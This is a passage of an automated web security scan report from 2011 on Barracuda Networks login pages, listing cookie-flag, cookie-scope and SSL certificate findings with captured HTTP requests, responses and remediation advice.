
The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /js/?n=jquery.1.4.2,jquery.patch,jquery.ui,jquery.misc,jquery.placeholders,jquery.typingPause,jquery.metadata,jquery.mousewheel,jquery.cudascroll,jquery.eventdefer,jquery.ba-bbq,jquery.cookie,ultraform,cloud/cloud&m=1304718929 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Fri, 06 May 2011 21:55:29 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript
Content-Length: 340246


(function(window,undefined){var jQuery=function(selector,context){return new jQuery.fn.init(selector,context);},_jQuery=window.jQuery,_$=window.$,document=window.document,rootjQuery,quickExpr=/^[^<]*
...[SNIP]...

2.5. https://login.barracudanetworks.com/landing/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /landing/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /landing/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:18:20 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:18:20 GMT; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 192

<h1>302 - Found</h1><p><a href="/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F">/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F</a></p>

3. SSL certificate  previous  next
There are 2 instances of this issue:

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.



3.1. https://login.barracuda.com/  previous  next

Summary

Severity:   Medium
Confidence:   Certain
Host:   https://login.barracuda.com
Path:   /

Issue detail

The following problem was identified with the server's SSL certificate:The server presented the following certificate:

Issued to:  login.barracuda.com
Issued by:  GeoTrust DV SSL CA
Valid from:  Sun Mar 27 07:46:41 CDT 2011
Valid to:  Mon Apr 28 04:55:58 CDT 2014

3.2. https://login.barracudanetworks.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  login.barracudanetworks.com
Issued by:  GeoTrust DV SSL CA
Valid from:  Tue Apr 05 12:58:25 CDT 2011
Valid to:  Wed May 07 06:16:07 CDT 2014

Certificate chain #1

Issued to:  GeoTrust DV SSL CA
Issued by:  GeoTrust Global CA
Valid from:  Fri Feb 26 15:32:31 CST 2010
Valid to:  Tue Feb 25 15:32:31 CST 2020

Certificate chain #2

Issued to:  GeoTrust Global CA
Issued by:  GeoTrust Global CA
Valid from:  Mon May 20 23:00:00 CDT 2002
Valid to:  Fri May 20 23:00:00 CDT 2022

4. Cookie scoped to parent domain  previous  next
There are 5 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. https://login.barracudanetworks.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:14:25 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:25 GMT; path=/; domain=.barracudanetworks.com
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 66

<h1>302 - Found</h1><p><a href="/auth/login/">/auth/login/</a></p>

4.2. https://login.barracudanetworks.com/auth/login/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /auth/login/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:14:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6191

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...

4.3. https://login.barracudanetworks.com/css/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /css/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /css/?n=cloud/auth&m=1303940125 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Wed, 27 Apr 2011 21:35:25 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css
Content-Length: 271

#cloud_panel_login {}
.message {}
.message.error {color: #800000; font-weight: bold}
.message.notice {color: #314368}
#scroll_pane_body {position: absolute; top: 8px; left: 16px; right: 8px; bottom:
...[SNIP]...

4.4. https://login.barracudanetworks.com/js/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /js/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /js/?n=jquery.1.4.2,jquery.patch,jquery.ui,jquery.misc,jquery.placeholders,jquery.typingPause,jquery.metadata,jquery.mousewheel,jquery.cudascroll,jquery.eventdefer,jquery.ba-bbq,jquery.cookie,ultraform,cloud/cloud&m=1304718929 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Fri, 06 May 2011 21:55:29 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript
Content-Length: 340246


(function(window,undefined){var jQuery=function(selector,context){return new jQuery.fn.init(selector,context);},_jQuery=window.jQuery,_$=window.$,document=window.document,rootjQuery,quickExpr=/^[^<]*
...[SNIP]...

4.5. https://login.barracudanetworks.com/landing/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /landing/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /landing/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:18:20 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:18:20 GMT; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 192

<h1>302 - Found</h1><p><a href="/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F">/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F</a></p>

5. Cookie without HttpOnly flag set  previous  next
There are 7 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. https://login.barracudanetworks.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:14:25 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:25 GMT; path=/; domain=.barracudanetworks.com
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 66

<h1>302 - Found</h1><p><a href="/auth/login/">/auth/login/</a></p>

5.2. https://login.barracudanetworks.com/auth/login/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /auth/login/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:14:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6191

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...

5.3. https://login.barracudanetworks.com/css/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /css/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /css/?n=cloud/auth&m=1303940125 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Wed, 27 Apr 2011 21:35:25 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css
Content-Length: 271

#cloud_panel_login {}
.message {}
.message.error {color: #800000; font-weight: bold}
.message.notice {color: #314368}
#scroll_pane_body {position: absolute; top: 8px; left: 16px; right: 8px; bottom:
...[SNIP]...

5.4. https://login.barracudanetworks.com/js/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /js/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /js/?n=jquery.1.4.2,jquery.patch,jquery.ui,jquery.misc,jquery.placeholders,jquery.typingPause,jquery.metadata,jquery.mousewheel,jquery.cudascroll,jquery.eventdefer,jquery.ba-bbq,jquery.cookie,ultraform,cloud/cloud&m=1304718929 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Fri, 06 May 2011 21:55:29 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript
Content-Length: 340246


(function(window,undefined){var jQuery=function(selector,context){return new jQuery.fn.init(selector,context);},_jQuery=window.jQuery,_$=window.$,document=window.document,rootjQuery,quickExpr=/^[^<]*
...[SNIP]...

5.5. https://login.barracudanetworks.com/landing/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /landing/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /landing/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:18:20 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:18:20 GMT; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 192

<h1>302 - Found</h1><p><a href="/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F">/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2Flanding%2F</a></p>

5.6. http://www.barracudanetworks.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?a=bsf_product HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1

Response

HTTP/1.1 301 OK
Content-Length: 182
Content-Type: text/html
Location: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:33:18 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Date: Mon, 23 May 2011 11:41:37 GMT

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.barracudanetworks.com/ns/?a=bsf_product&amp;L=en">here</a></body>

5.7. http://www.barracudanetworks.com/ns/  previous  next

Summary

Severity:   Information
